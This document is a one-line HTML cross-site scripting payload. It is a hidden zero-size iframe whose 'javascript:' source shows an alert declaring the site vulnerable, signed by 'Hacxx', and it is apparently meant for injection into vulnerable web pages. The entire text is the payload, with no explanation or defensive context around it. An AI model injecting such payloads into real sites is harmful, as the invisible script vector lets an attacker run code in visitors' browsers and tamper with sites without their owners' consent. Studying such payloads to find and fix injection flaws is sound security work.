<iframe src="javascript:alert('This site is vulnerable!\n\nDiscovered by Hacxx');" height=0 width=0 frameborder=0></iframe>